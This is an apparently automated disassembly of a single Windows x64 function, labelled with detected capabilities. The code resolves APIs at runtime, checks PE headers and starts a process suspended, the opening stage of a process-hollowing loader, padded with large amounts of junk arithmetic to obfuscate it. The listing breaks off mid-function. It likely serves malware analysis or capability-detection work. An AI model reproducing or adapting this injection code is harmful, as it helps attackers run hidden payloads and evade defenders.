Function at 0x543830
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x510
mov rbp, rsp
mov qword [rbp + 0x58], r8
mov byte [rbp + 0x6f], r9b
mov qword [rbp + 0x540], rcx
mov qword [rbp + 0x548], rdx
lea rcx, [rbp + 0x540]
call fcn.0040e200
lea rcx, [rbp + 0x548]
call fcn.0040e200
nop
lea rcx, [rbp + 0x70]
lea rdx, [0x005465cc]
call sub.kernel32.dll_lstrcpyA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465cf]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465d2]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465d6]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
call sub.kernel32.dll_LoadLibraryA_1
mov rbx, rax
lea rcx, [rbp + 0x70]
lea rdx, [0x005465d9]
call sub.kernel32.dll_lstrcpyA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465dd]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465e2]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465e7]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465ec]
call sub.kernel32.dll_lstrcatA
lea rcx, [rbp + 0x70]
lea rdx, [0x005465ef]
call sub.kernel32.dll_lstrcatA
mov rcx, rbx
lea rdx, [rbp + 0x70]
call sub.kernel32.dll_GetProcAddress_2
mov rbx, rax
mov eax, dword [0x00584e64]
add eax, 0x4279a4be
mov dword [0x00584e6c], eax
mov ecx, 0xc6a251a2
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
add eax, 0xfaa4018b
mov dword [0x00584e64], eax
imul eax, dword [0x00584e58], 0xc7fa76d1
mov dword [0x00584e60], eax
mov ecx, 0xbb4ab494
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov eax, dword [0x00584e54]
sub eax, 0x2bca6aa2
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
add eax, 0x24bbb7cf
mov dword [0x00584e54], eax
mov eax, dword [0x00584e68]
xor eax, 0x4947dce3
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
add eax, 0xdfc15b6e
mov dword [0x00584e64], eax
mov eax, dword [0x00584e54]
add eax, 0x4aa00212
mov dword [0x00584e68], eax
mov eax, dword [0x00584e68]
add eax, 0xbb1fb820
mov dword [0x00584e6c], eax
add dword [0x00584e5c], 0xcec8aef6
mov eax, dword [0x00584e54]
and eax, 0x8b3bf5fe
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
add eax, 0x21b57489
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
add eax, 0x422840e
mov dword [0x00584e54], eax
mov eax, dword [0x00584e6c]
xor eax, 0x382433f7
mov dword [0x00584e58], eax
mov eax, dword [0x00584e64]
add eax, 0xeef66b95
mov dword [0x00584e68], eax
mov eax, dword [0x00584e54]
and eax, 0x7a2dcb4c
mov dword [0x00584e64], eax
mov eax, dword [0x00584e5c]
add eax, 0xce883448
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
add eax, 0xfce8d4c7
mov dword [0x00584e54], eax
mov eax, dword [0x00584e58]
add eax, 0xc8d1a6a4
mov dword [0x00584e60], eax
imul eax, dword [0x00584e64], 0xe64f18e5
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
and eax, 0xf0ea9fa
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
and eax, 0x69253be
mov dword [0x00584e54], eax
mov eax, dword [0x00584e58]
and eax, 0xfe15fd82
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e54]
add eax, 0x6d281027
mov dword [0x00584e64], eax
call fcn.00543490
mov eax, dword [0x00584e54]
and eax, 0x9508a978
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
add eax, 0x749a722b
mov dword [0x00584e54], eax
mov eax, dword [0x00584e68]
add eax, 0x542c3ade
mov dword [0x00584e54], eax
add dword [0x00584e6c], 0x73175088
mov eax, dword [0x00584e68]
add eax, 0x86c0475e
mov dword [0x00584e60], eax
mov ecx, 0xe65ccf2e
mov eax, dword [0x00584e58]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
add eax, 0x1fff8e81
mov dword [0x00584e54], eax
mov eax, dword [0x00584e6c]
add eax, 0x5f435d3e
mov dword [0x00584e64], eax
imul eax, dword [0x00584e5c], 0xf01bcc5f
mov dword [0x00584e6c], eax
add dword [0x00584e54], 0xa412bd2b
add dword [0x00584e54], 0x5ae4f4c9
mov eax, dword [0x00584e5c]
add eax, 0x5809adf7
mov dword [0x00584e68], eax
mov eax, dword [0x00584e58]
add eax, 0xac6416f3
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e58]
add eax, 0xaf29df8b
mov dword [0x00584e54], eax
mov eax, dword [0x00584e58]
xor eax, 0x4f625b47
mov dword [0x00584e68], eax
add dword [0x00584e6c], 0x1b4b2d24
add dword [0x00584e58], 0x3e69aecf
mov ecx, 0xad7bc174
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e5c]
add eax, 0x3ce68d2c
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e60]
add eax, 0xa0b680fd
mov dword [0x00584e64], eax
mov eax, dword [0x00584e60]
add eax, 0x507a05c8
mov dword [0x00584e54], eax
mov rcx, qword [rbp + 0x548]
xor rdx, rdx
call fcn.0040f980
test eax, eax
je 0x543c90
lea rcx, [rbp + 0x540]
lea rdx, [0x005465f8]
call fcn.0040f6f0
lea rcx, [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
call fcn.0040f6f0
add dword [0x00584e58], 0xb679027a
mov ecx, 0x9fdf4698
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e68], 0xf86d1b95
mov dword [0x00584e60], eax
mov eax, dword [0x00584e5c]
and eax, 0x72c14d0e
mov dword [0x00584e64], eax
add dword [0x00584e54], 0xbbd99736
mov eax, dword [0x00584e6c]
add eax, 0x57e4ddda
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
xor eax, 0xc5989467
mov dword [0x00584e54], eax
mov eax, dword [0x00584e68]
add eax, 0xeb0de8f
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
add eax, 0xc41572c4
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
add eax, 0xcb0ea75d
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0x80733b92
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
add eax, 0xd3600125
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e58]
xor eax, 0xfab1eed1
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
add eax, 0xa4d46432
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
sub eax, 0x1819e2d8
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
and eax, 0x85be5214
mov dword [0x00584e5c], eax
mov ecx, 0x44f761b4
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
add eax, 0x7bbeda35
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
xor eax, 0x2473ac2d
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
xor eax, 0x7b93ddc1
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0x30e2f3bc
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
add eax, 0x4751b32a
mov dword [0x00584e64], eax
mov eax, dword [0x00584e54]
add eax, 0x895b4a7f
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
add eax, 0xd4f8e291
mov dword [0x00584e54], eax
mov eax, dword [0x00584e54]
add eax, 0x8e90e2c7
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0xba163c74
mov dword [0x00584e60], eax
xor rax, rax
mov qword [rbp + 0x60], rax
add dword [0x00584e60], 0xbf0c2ffb
mov eax, dword [0x00584e68]
and eax, 0x6b6d6ba
mov dword [0x00584e54], eax
mov eax, dword [0x00584e58]
and eax, 0x3db8fe8
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e64]
add eax, 0x79fc5560
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e68]
add eax, 0x6d4c9323
mov dword [0x00584e6c], eax
and dword [0x00584e64], 0xfe250244
add dword [0x00584e64], 0xc2ff214e
mov eax, dword [0x00584e6c]
add eax, 0x5f19af43
mov dword [0x00584e64], eax
imul eax, dword [0x00584e64], 0x1b8cf64b
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
add eax, 0xccbe1e7f
mov dword [0x00584e6c], eax
mov ecx, 0xb4cc3d6e
mov eax, dword [0x00584e68]
xor edx, edx
div ecx
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
add eax, 0x1468c53e
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
sub eax, 0x6e643da4
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e64]
add eax, 0xf99b9d5b
mov dword [0x00584e5c], eax
add dword [0x00584e5c], 0x7990de3e
imul eax, dword [0x00584e5c], 0x50bbceef
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
and eax, 0x27e6bfa0
mov dword [0x00584e54], eax
mov eax, dword [0x00584e54]
and eax, 0x250b78ce
mov dword [0x00584e60], eax
mov eax, dword [0x00584e58]
add eax, 0xe5b22bd7
mov dword [0x00584e64], eax
mov eax, dword [0x00584e58]
xor eax, 0x751cf78f
mov dword [0x00584e60], eax
mov rdi, qword [rbp + 0x58]
mov eax, dword [0x00584e54]
add eax, 0x5fed0f64
mov dword [0x00584e60], eax
imul eax, dword [0x00584e58], 0xad38c58d
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e58], 0x7343df3
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0x51ba2b84
mov dword [0x00584e64], eax
mov eax, dword [0x00584e5c]
add eax, 0x1526a725
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
add eax, 0x9abcf772
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
xor eax, 0x82cb1661
mov dword [0x00584e68], eax
mov eax, dword [0x00584e68]
and eax, 0x6ad93550
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
add eax, 0x47a5356b
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0xa1a0add1
mov dword [0x00584e54], eax
mov eax, dword [0x00584e6c]
add eax, 0x5872e56f
mov dword [0x00584e58], eax
mov ecx, 0x81327684
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov ecx, 0x27217fe4
mov eax, dword [0x00584e68]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
add dword [0x00584e58], 0xfe4c7095
cmp word [rdi], 0x5a4d
jne 0x546572
mov eax, dword [0x00584e60]
add eax, 0xc1482e76
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x4570db5a
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0xcb072ba7
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e54]
sub eax, 0xfec09ce
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
add eax, 0xf7fa28bd
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0x88d297de
mov dword [0x00584e54], eax
mov eax, dword [0x00584e5c]
add eax, 0x2a8e353d
mov dword [0x00584e54], eax
mov eax, dword [0x00584e54]
add eax, 0xeca28baf
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0x57813253
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e58]
xor eax, 0xc7eb6a27
mov dword [0x00584e68], eax
mov eax, dword [0x00584e5c]
add eax, 0xaff98916
mov dword [0x00584e54], eax
and dword [0x00584e54], 0x9f5017c
mov eax, dword [0x00584e5c]
add eax, 0x125bd97e
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e60]
add eax, 0x4bfe98d1
mov dword [0x00584e64], eax
mov ecx, 0x74be29e6
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e64]
add eax, 0x7783f27e
mov dword [0x00584e58], eax
movsxd rax, dword [rdi + 0x3c]
mov rcx, qword [rbp + 0x58]
lea r13, [rcx + rax]
mov eax, dword [0x00584e60]
add eax, 0xf8f14bc5
mov dword [0x00584e54], eax
mov eax, dword [0x00584e68]
add eax, 0xb997fece
mov dword [0x00584e54], eax
mov eax, dword [0x00584e5c]
add eax, 0xd006be3c
mov dword [0x00584e58], eax
add dword [0x00584e5c], 0x5169a288
mov eax, dword [0x00584e6c]
add eax, 0x75f5c79c
mov dword [0x00584e58], eax
mov eax, dword [0x00584e5c]
add eax, 0x63a4f5f5
mov dword [0x00584e58], eax
mov ecx, 0xb3cbf2f0
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e60]
add eax, 0x2d48f766
mov dword [0x00584e54], eax
mov eax, dword [0x00584e6c]
add eax, 0xf1a21e44
mov dword [0x00584e68], eax
mov eax, dword [0x00584e54]
add eax, 0xdf514c9d
mov dword [0x00584e60], eax
mov eax, dword [0x00584e64]
add eax, 0x4fd102ab
mov dword [0x00584e60], eax
imul eax, dword [0x00584e60], 0xb50e99e5
mov dword [0x00584e60], eax
mov ecx, 0x45e70906
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0xb0c5afaa
mov dword [0x00584e58], eax
mov eax, dword [0x00584e64]
sub eax, 0x61f6d7de
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
add eax, 0x18c90f7c
mov dword [0x00584e58], eax
imul eax, dword [0x00584e5c], 0xfb361f01
mov dword [0x00584e60], eax
mov eax, dword [0x00584e5c]
add eax, 0xb3607bce
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0xdc200ce3
mov dword [0x00584e68], eax
mov ecx, 0xd236133e
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov eax, dword [0x00584e5c]
add eax, 0xc418ad98
mov dword [0x00584e64], eax
mov eax, dword [0x00584e54]
and eax, 0x78fe856
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
and eax, 0xa7dde24c
mov dword [0x00584e68], eax
mov eax, dword [0x00584e54]
add eax, 0x99c07ca6
mov dword [0x00584e5c], eax
cmp dword [r13], 0x4550
jne 0x546572
mov eax, dword [0x00584e54]
add eax, 0x96f5111d
mov dword [0x00584e64], eax
mov eax, dword [0x00584e60]
add eax, 0x8e78bae1
mov dword [0x00584e58], eax
mov eax, dword [0x00584e58]
add eax, 0x508d1153
mov dword [0x00584e68], eax
imul eax, dword [0x00584e5c], 0x23849603
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e54]
add eax, 0x1c75e330
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
add eax, 0x8cf5993e
mov dword [0x00584e5c], eax
mov ecx, 0x8b76e20
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
add eax, 0x29f21c9a
mov dword [0x00584e68], eax
mov eax, dword [0x00584e6c]
and eax, 0x468d9974
mov dword [0x00584e68], eax
mov eax, dword [0x00584e64]
add eax, 0x6578af1e
mov dword [0x00584e68], eax
mov eax, dword [0x00584e68]
add eax, 0x2d2e14fa
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e5c], 0x153c33e9
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e68]
add eax, 0x801ada8d
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e64]
sub eax, 0x16945918
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e64]
add eax, 0x249c4084
mov dword [0x00584e54], eax
mov eax, dword [0x00584e64]
xor eax, 0x886c3455
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e5c]
add eax, 0xc20ef3a8
mov dword [0x00584e60], eax
mov eax, dword [0x00584e64]
and eax, 0x21ab7b78
mov dword [0x00584e68], eax
add dword [0x00584e64], 0xd2dca3ac
mov eax, dword [0x00584e54]
add eax, 0x5872f3f9
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
add eax, 0xa72c4d8b
mov dword [0x00584e68], eax
add dword [0x00584e60], 0xf5e5a71d
add dword [0x00584e54], 0x4a401019
mov eax, dword [0x00584e54]
add eax, 0xc4944192
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
add eax, 0x134d9b24
mov dword [0x00584e58], eax
mov eax, dword [0x00584e5c]
add eax, 0xad144e8
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e54], 0x22ada7bf
mov dword [0x00584e6c], eax
lea rcx, [rbp + 0x490]
mov edx, 0x68
xor r8, r8
call fcn.0040a0e0
mov eax, dword [0x00584e6c]
add eax, 0x89944168
mov dword [0x00584e68], eax
mov eax, dword [0x00584e6c]
add eax, 0x4978c182
mov dword [0x00584e68], eax
mov eax, dword [0x00584e68]
add eax, 0x1623c64e
mov dword [0x00584e5c], eax
mov ecx, 0xe37a3b94
mov eax, dword [0x00584e58]
xor edx, edx
div ecx
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
sub eax, 0x265513e
mov dword [0x00584e64], eax
imul eax, dword [0x00584e64], 0xf0147f97
mov dword [0x00584e64], eax
mov eax, dword [0x00584e60]
add eax, 0x91d01cf6
mov dword [0x00584e68], eax
mov eax, dword [0x00584e64]
and eax, 0x5f26923c
mov dword [0x00584e60], eax
mov eax, dword [0x00584e58]
add eax, 0x9e6a60f9
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
add eax, 0x86787fe8
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0x22930ddd
mov dword [0x00584e54], eax
imul eax, dword [0x00584e64], 0xd965457b
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
add eax, 0x130804ce
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
add eax, 0x26b0fba4
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
add eax, 0x7f538bf6
mov dword [0x00584e6c], eax
lea rcx, [rbp + 0x4f8]
mov edx, 0x18
xor r8, r8
call fcn.0040a0e0
mov eax, dword [0x00584e68]
add eax, 0x92ba5fa2
mov dword [0x00584e64], eax
mov ecx, 0x24eaf3f2
mov eax, dword [0x00584e6c]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0xd61c1c26
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
add eax, 0xc96c59e9
mov dword [0x00584e54], eax
mov eax, dword [0x00584e68]
add eax, 0x96c2cf2f
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0xa4cab69b
mov dword [0x00584e68], eax
add dword [0x00584e5c], 0x154a6ca9
mov eax, dword [0x00584e60]
add eax, 0x2f99b02
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
add eax, 0x3c9c5a55
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
add eax, 0xc7d3ba0c
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0x176795f
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e5c]
add eax, 0x870cc9ac
mov dword [0x00584e64], eax
mov eax, dword [0x00584e64]
and eax, 0xe1084212
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
add eax, 0xf68e291
mov dword [0x00584e5c], eax
imul eax, dword [0x00584e64], 0x5e223c23
mov dword [0x00584e60], eax
imul eax, dword [0x00584e54], 0x4114583
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e5c], 0x52ca9f15
mov dword [0x00584e5c], eax
imul eax, dword [0x00584e5c], 0x9be2e93d
mov dword [0x00584e6c], eax
mov dword [rbp + 0x490], 0x68
mov eax, dword [0x00584e60]
and eax, 0x9dbba90a
mov dword [0x00584e58], eax
xor dword [0x00584e60], 0xf6497e07
mov eax, dword [0x00584e68]
xor eax, 0xf90f469f
mov dword [0x00584e54], eax
mov eax, dword [0x00584e58]
add eax, 0xc0c4ac7b
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
add eax, 0x31446289
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
sub eax, 0x19528178
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
and eax, 0x2cfb784e
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
add eax, 0x1509973d
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e54]
add eax, 0x4eac5690
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
xor eax, 0x2b7856ab
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
add eax, 0xe24a8e49
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e54]
add eax, 0x10ab2ec8
mov dword [0x00584e64], eax
imul eax, dword [0x00584e68], 0xe7d61f79
mov dword [0x00584e58], eax
mov dword [rbp + 0x4cc], 1
imul eax, dword [0x00584e64], 0xebe50231
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0xd95e073
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
add eax, 0xb925f93d
mov dword [0x00584e5c], eax
imul eax, dword [0x00584e60], 0xddb21e51
mov dword [0x00584e60], eax
mov ecx, 0x1fbbb5a6
mov eax, dword [0x00584e64]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x595e74f9
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
add eax, 0xefd7f384
mov dword [0x00584e68], eax
mov eax, dword [0x00584e5c]
add eax, 0x8bf28179
mov dword [0x00584e58], eax
mov eax, dword [0x00584e68]
add eax, 0xcb365036
mov dword [0x00584e58], eax
add dword [0x00584e68], 0x50cca083
mov eax, dword [0x00584e6c]
add eax, 0xd3fe78b
mov dword [0x00584e64], eax
imul eax, dword [0x00584e5c], 0xbe710fbf
mov dword [0x00584e6c], eax
movzx rax, byte [rbp + 0x6f]
movzx ax, al
mov word [rbp + 0x4d0], ax
mov eax, dword [0x00584e5c]
sub eax, 0x39f722ee
mov dword [0x00584e60], eax
mov ecx, 0xfb47036
mov eax, dword [0x00584e64]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e58]
add eax, 0x3e1510b5
mov dword [0x00584e60], eax
mov eax, dword [0x00584e5c]
add eax, 0xe571bd7e
mov dword [0x00584e68], eax
mov ecx, 0x9fde292
mov eax, dword [0x00584e58]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov eax, dword [0x00584e58]
xor eax, 0xa077611d
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
and eax, 0xe55c3f44
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e68]
add eax, 0x8717dca3
mov dword [0x00584e60], eax
xor dword [0x00584e64], 0xf79792b1
mov eax, dword [0x00584e5c]
and eax, 0xdfa5b1a0
mov dword [0x00584e60], eax
mov ecx, 0xa1ba0812
mov eax, dword [0x00584e64]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e64]
add eax, 0x5e2d4f1a
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
add eax, 0xef05be3b
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e68], 0xab790543
mov dword [0x00584e54], eax
add dword [0x00584e60], 0x624b3ce1
mov eax, dword [0x00584e68]
add eax, 0x9bedfc34
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
add eax, 0xf5e9749a
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
and eax, 0xb7e84cd2
mov dword [0x00584e68], eax
imul eax, dword [0x00584e68], 0xe0a7dde7
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e60], 0xd82b87ab
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
add eax, 0x473d9a50
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
xor eax, 0x64bb0c91
mov dword [0x00584e54], eax
add dword [0x00584e60], 0xd5254465
xor dword [0x00584e58], 0x218417b
mov ecx, 0x5aa61678
mov eax, dword [0x00584e6c]
xor edx, edx
div ecx
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e58]
add eax, 0xff277c6f
mov dword [0x00584e60], eax
mov rcx, qword [rbp + 0x540]
call fcn.0040f6d0
xor rcx, rcx
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x490]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x48], rax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x546572
mov eax, dword [0x00584e5c]
add eax, 0x6c1aebef
mov dword [0x00584e60], eax
add dword [0x00584e54], 0x3da4cd36
mov eax, dword [0x00584e68]
add eax, 0x54138ca4
mov dword [0x00584e5c], eax
sub dword [0x00584e54], 0x270b1154
mov eax, dword [0x00584e5c]
add eax, 0x9d2bd6cc
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
add eax, 0x64e13ca8
mov dword [0x00584e64], eax
imul eax, dword [0x00584e68], 0xbaa9490d
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e64]
add eax, 0x87ffbe53
mov dword [0x00584e5c], eax
add dword [0x00584e60], 0x4fb5242f
mov eax, dword [0x00584e5c]
add eax, 0xc5d5e9a7
mov dword [0x00584e60], eax
mov eax, dword [0x00584e58]
xor eax, 0xe4c0ff51
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
add eax, 0xcccf1e40
mov dword [0x00584e58], eax
mov eax, dword [0x00584e58]
add eax, 0x89426548
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0xf4210bec
mov dword [0x00584e6c], eax
sub dword [0x00584e5c], 0x7ca02c2
add dword [0x00584e68], 0xbe9c3a60
add dword [0x00584e5c], 0xcca421cc
mov eax, dword [0x00584e68]
add eax, 0x523a7219
mov dword [0x00584e64], eax
mov ecx, 0x863c2202
mov eax, dword [0x00584e68]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov ecx, 0x8360db30
mov eax, dword [0x00584e5c]
xor edx, edx
div ecx
mov dword [0x00584e6c], eax
mov ecx, 0x8085945e
mov eax, dword [0x00584e58]
xor edx, edx
div ecx
mov dword [0x00584e54], eax
mov ecx, 0x20d38e54
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov ecx, 0x1df84782
mov eax, dword [0x00584e68]
xor edx, edx
div ecx
mov dword [0x00584e64], eax
mov ecx, 0x157bf146
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
add eax, 0xe164c323
mov dword [0x00584e5c], eax
lea rcx, [rbp + 0x488]
call fcn.00542d60
mov rsi, rax
mov eax, dword [0x00584e68]
add eax, 0x20882d4c
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
add eax, 0xcfecc9a5
mov dword [0x00584e64], eax
mov eax, dword [0x00584e5c]
add eax, 0xf8ac5aba
mov dword [0x00584e60], eax
add dword [0x00584e6c], 0xf19da7e7
mov eax, dword [0x00584e6c]
add eax, 0x5c7c4e8b
mov dword [0x00584e64], eax
imul eax, dword [0x00584e68], 0x64e3268d
mov dword [0x00584e58], eax
mov ecx, 0xa9c804b4
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e54], eax
mov eax, dword [0x00584e64]
sub eax, 0x6bdc5b26
mov dword [0x00584e68], eax
mov eax, dword [0x00584e58]
and eax, 0xd6bb01ca
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
add eax, 0xe4c2e936
mov dword [0x00584e58], eax
mov ecx, 0x9b9520d4
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e58], eax
mov eax, dword [0x00584e6c]
add eax, 0x26cc808b
mov dword [0x00584e68], eax
test rsi, rsi
je 0x54655a
mov eax, dword [0x00584e5c]
add eax, 0x58cbaa51
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
add eax, 0x2badb0c7
mov dword [0x00584e54], eax
mov ecx, 0x546d41dc
mov eax, dword [0x00584e58]
xor edx, edx
div ecx
mov dword [0x00584e58], eax
mov eax, dword [0x00584e54]
xor eax, 0xf087cfd1
mov dword [0x00584e64], eax
mov eax, dword [0x00584e60]
and eax, 0xde36fe2a
mov dword [0x00584e64], eax
mov ecx, 0xf781046a
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e68]
sub eax, 0x588ebd6
mov dword [0x00584e54], eax
imul eax, dword [0x00584e64], 0x4a6dc9fd
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
add eax, 0x140019b
mov dword [0x00584e5c], eax
mov ecx, 0x3541b184
mov eax, dword [0x00584e5c]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e5c]
